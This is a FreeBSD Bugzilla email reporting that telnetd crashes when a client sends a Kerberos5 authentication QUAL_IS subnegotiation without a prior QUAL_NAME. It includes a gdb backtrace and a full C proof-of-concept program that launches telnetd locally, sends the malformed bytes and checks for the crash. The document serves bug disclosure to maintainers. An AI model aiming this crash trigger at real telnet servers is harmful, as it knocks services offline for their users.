[Bug 266719] telnetd crashes if it receives IAC EC at session start

From: <bugzilla-noreply_at_freebsd.org>
Date: Fri, 30 Sep 2022 16:42:32 UTC
https://bugs.freebsd.org/bugzilla/show_bug.cgi?id=266719

--- Comment #1 from Robert Morris <rtm@lcs.mit.edu> ---
Separately, if a client is authenticating and sends an SB
AUTHENTICATION QUAL_IS for Kerberos5 without a preceding QUAL_NAME,
there's a crash in line 506 of kerberos5_is() in
libtelnet/kerberos5.c:

        pwd = getpwnam (UserNameRequested);

UserNameRequested isn't set if there was no QUAL_NAME.

Here's a backtrace and a demo program:

Program received signal SIGSEGV, Segmentation fault.
Address not mapped to object.
0x0000000801600e10 in strcmp () from /lib/libc.so.7
(gdb) where
#0  0x0000000801600e10 in strcmp () from /lib/libc.so.7
#1  0x000000080154d0d8 in ?? () from /lib/libc.so.7
#2  0x000000080154ec07 in ?? () from /lib/libc.so.7
#3  0x0000000801594e8d in nsdispatch () from /lib/libc.so.7
#4  0x000000080154f34c in getpwnam () from /lib/libc.so.7
#5  0x00000000010374f0 in kerberos5_is (ap=0x103b9e8 <authenticators+56>, 
    data=0x801e74fc6 "root", cnt=1)
    at /usr/src/contrib/telnet/libtelnet/kerberos5.c:506
#6  0x00000000010349c9 in auth_is (data=<optimized out>, cnt=<optimized out>)
    at /usr/src/contrib/telnet/libtelnet/auth.c:475
#7  0x000000000102c9d0 in suboption ()
    at /usr/src/contrib/telnet/telnetd/state.c:1425
#8  0x000000000102c0fc in telrcv ()
    at /usr/src/contrib/telnet/telnetd/state.c:334
#9  0x0000000001030974 in ttloop ()
    at /usr/src/contrib/telnet/telnetd/utility.c:84
#10 0x00000000010324f9 in telnet_spin ()
    at /usr/src/contrib/telnet/telnetd/authenc.c:70
#11 0x0000000001034c6f in auth_wait (name=0x103e510 <user_name> "")
    at /usr/src/contrib/telnet/libtelnet/auth.c:568
#12 0x000000000102f143 in getterminaltype (name=<optimized out>)
    at /usr/src/contrib/telnet/telnetd/telnetd.c:483
#13 0x000000000102efd8 in doit (who=who@entry=0x7fffffffe790)
    at /usr/src/contrib/telnet/telnetd/telnetd.c:715
#14 0x000000000102ecb5 in main (argc=0, argv=<optimized out>)
    at /usr/src/contrib/telnet/telnetd/telnetd.c:408

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <netinet/in.h>
#include <sys/wait.h>
#include <sys/resource.h>
#include <arpa/inet.h>
#include <assert.h>
#include <ctype.h>
#include <fcntl.h>
#include <signal.h>

int
main(){
  setlinebuf(stdout);
  struct rlimit r;
  r.rlim_cur = r.rlim_max = 0;
  setrlimit(RLIMIT_CORE, &r);
  signal(SIGPIPE, SIG_IGN);

  struct sockaddr_in sin;
  memset(&sin, 0, sizeof(sin));
  sin.sin_family = AF_INET;
  sin.sin_addr.s_addr = inet_addr("127.0.0.1");
  sin.sin_port = htons(2323);

  int ss = socket(AF_INET, SOCK_STREAM, 0);
  int yes = 1;
  setsockopt(ss, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(yes));
  if(bind(ss, (struct sockaddr *)&sin, sizeof(sin)) < 0){
    perror("bind");
    exit(1);
  }
  listen(ss, 10);

  if(fork() == 0){
    struct sockaddr sa;
    socklen_t len = sizeof(sa);
    int s1 = accept(ss, &sa, &len);
    if(s1 < 0){
      perror("accept");
      exit(1);
    }
    close(ss);
    dup2(s1, 0);
    dup2(s1, 1);
    dup2(s1, 2);
    close(s1);
    execl("/usr/libexec/telnetd", "telnetd", (void*)0);
    perror("execl");
    exit(1);
  }

  close(ss);

  int cc = socket(AF_INET, SOCK_STREAM, 0);
  if(connect(cc, (struct sockaddr *)&sin, sizeof(sin)) < 0){
    perror("connect");
    exit(1);
  }

#define IAC  255
#define DONT 254
#define DO   253
#define WONT 252
#define WILL 251
#define SB   250
#define SE   240

#define OPT_TTYPE    24
#define OPT_TSPEED   32
#define OPT_LINEMODE 34
#define OPT_XDISPLOC 35
#define OPT_OLD_ENVIRON 36
#define OPT_AUTHENTICATION 37
#define OPT_ENCRYPT  38
#define OPT_NEW_ENVIRON 39
#define OPT_LFLOW 33
#define OPT_NAWS 31

#define QUAL_IS 0
#define QUAL_SEND 1
#define QUAL_REPLY 2
#define QUAL_NAME 3

  {
    sleep(1);
    char buf[512];
    int n = read(cc, buf, sizeof(buf));
  }

  {
    char buf[] = {
      IAC, WILL, OPT_AUTHENTICATION,
    };
    write(cc, buf, sizeof(buf));
  }

  char data[] = {
    // IAC, SB, OPT_AUTHENTICATION, QUAL_NAME, '1', '2', '3', IAC, SE,
    IAC, SB, OPT_AUTHENTICATION, QUAL_IS, 2, 0, 4, IAC, SE,
  };

  if(write(cc, data, sizeof(data)) < 0)
    perror("write");

  sleep(1);
  close(cc);
  sleep(1);

  int st = 0;
  int xpid = wait(&st);
  if(WIFEXITED(st))
    printf("telnetd pid %d exited normally\n", xpid);
  if(WIFSIGNALED(st))
    printf("telnetd pid %d died due to signal %d\n", xpid, WTERMSIG(st));
}

-- 
You are receiving this mail because:
You are the assignee for the bug.